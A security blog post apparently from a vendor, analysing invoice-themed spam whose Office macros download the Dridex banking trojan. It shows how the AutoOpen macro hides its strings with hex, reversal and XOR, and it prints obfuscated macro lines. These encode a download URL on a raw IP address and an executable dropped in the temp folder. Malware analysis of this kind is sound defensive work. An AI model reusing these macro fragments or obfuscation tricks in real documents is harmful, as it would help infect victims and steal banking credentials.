Deobfuscating Malicious Macros Using Python

Over the past few weeks, we've observed cybercriminals spamming users, particularly in the UK, using document files embedded with malicious macros masquerading as invoices. The attachment is either a Word or an Excel document file.

Here are some examples incorporating brands based in the UK:






Users must enable macros in order for these malicious documents to work. In some cases, the documents include instructions for enabling macros.


You may think of document macro viruses as a thing of the past. But this year, some cybercriminal groups have revived this type of campaign in large numbers.

The volume of document-macro based spam we've observed in the past couple of months

Common themes in the campaigns include invoices from software companies, online retailers, banking institutions and shipping companies. The message usually claims to be an invoice in Word or Excel file format. Here are the most common subject lines from the past few months:

Common subject line themes

The payload downloads a banking Trojan known as Dridex from a remote webserver. Our friends from Cyren have posted a detailed and technical analysis of this Trojan here.

Deobfuscating the Macros

For the curious, here are some tips on how to extract the VBA macro from the document files and unmask the payload using Python.

I used a tool written by Didier Stevens called to extract the macros without using any Microsoft Office application.


I modified the tool so that it automatically dumps the code when a macro stream is found in the document using the option –m. Get the modified here.

The macros in these documents are usually obfuscated, full of garbage code, and the payload is pretty much hidden. I've posted the extracted macros here in Pastebin for you to check:

  1. Card Receipt
  2. DOC-File
  3. E-bill
  4. Invoice as requested
  5. BACS payment

The key macro that triggers the payload is the function "AutoOpen()". This is a built-in macro function that triggers when the document file is opened.


The cybercriminals have obfuscated the strings such as the drop folder, malware filename, and URL download link. One of the techniques they commonly use is "Text to hexadecimal" obfuscation, where a string like "http:" is converted to its hexadecimal string equivalent: "687474703A"

Below is an example of an obfuscated string of the malware URL

NMVBUIMOQXM fdhdfgdfvdfv("687474703A2F2F37382E3132392E3135332E32332F73737461742F6C6C6476732E706870"), Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")

And below is the function fdhdfgdfvdfvafter removing the garbage and renaming variables to readable names. It just basically converts Hexadecimal to its equivalent text.

Public Function Hextostring(ByVal HexString As String) As String
Dim TemporaryStorage As String
Dim FormedString As String
Dim HexStringLength As Long
For HexStringLength = 1 To Len(HexString) Step 2
TemporaryStorage = Chr$(Val(Chr$(38) & Chr$(72) & Mid$( HexString, HexStringLength, 2)))
FormedString = FormedString & TemporaryStorage
Hextostring = FormedString
End Function

Using Python, the encoded strings can be easily decoded using the binascii.a2b_hex function:Screenshot extostring

This particular group also adds another layer of obfuscation by reversing the hexadecimal strings. The malware author used the function StrReverse which is a built-in VBA function to reverse a given string.

HexToString(StrReverse("568756E2E69626F237A6F22766E247E6F62656E6E65686D25696275736F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E2F4A435C45594A415858554C5"))

In Python, we can reverse string by using slice notation, for example "string"[::-1]. Slice notation is explained here: StrReverse

Another known obfuscation technique is XOR-ing the string with a predefined key. The example below is an obfuscation of a URL link to the malware executable:

gGHBkj = XORI(Hextostring("1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811"), Hextostring("744F50"))

In the example, 1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811 is the obfuscated URL and 744F50 is the key.

The macro function XORI takes 2 parameter strings--the encoded message and the key. It then returns the XORed value of the given strings. This is the XORI VBA function after it has been cleaned up:

Public Function XORI(ByVal Encoded_message As String, ByVal Msg_Key As String) As String
Dim Message_length As Long
For Message_length = 1 To Len(Encoded_message)
XORI = XORI & Chr(Asc(Mid(Msg_Key, IIf(Message_length Mod Len(Msg_Key) <> 0, Message_length Mod Len(Msg_Key), Len(Msg_Key)), 1)) Xor Asc(Mid(Encoded_message, Message_length, 1)))
End Function

In Python, we write the XORI function like this:

def XORI(enc_message,key):
dec_message = ""
for i in range(len(enc_message)):
dec_message = dec_message + chr(ord(enc_message[i])^ord(key[(lambda x,y:x%y if x%y >=0 else y)(i,len(key))]))
return dec_message

And after using the a2b_hex Python function to convert hex to string, we can use the XORI function in Python to decode the obfuscated URL:ScreenshotXOR

These are the common obfuscation technique we have observed so far with these documents. Usually the payload consists of downloading an executable Trojan from a URL, saving it to the Windows temporary "temp" folder and executing it.

Wrapping up

Macro viruses may have been out of fashion for many years, but we've recently observed a resurgence in cybercriminals using this kind of infection vector to spread their malware. The bad guys try to obfuscate their code to prevent us security researchers and malware tinkerers from analyzing their malware. But really, they're just making malware analysis more fun with the added challenge of cracking code obfuscations.

The Trustwave Secure Email Gateway (SEG) protects against spam campaigns involving malicious macros.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.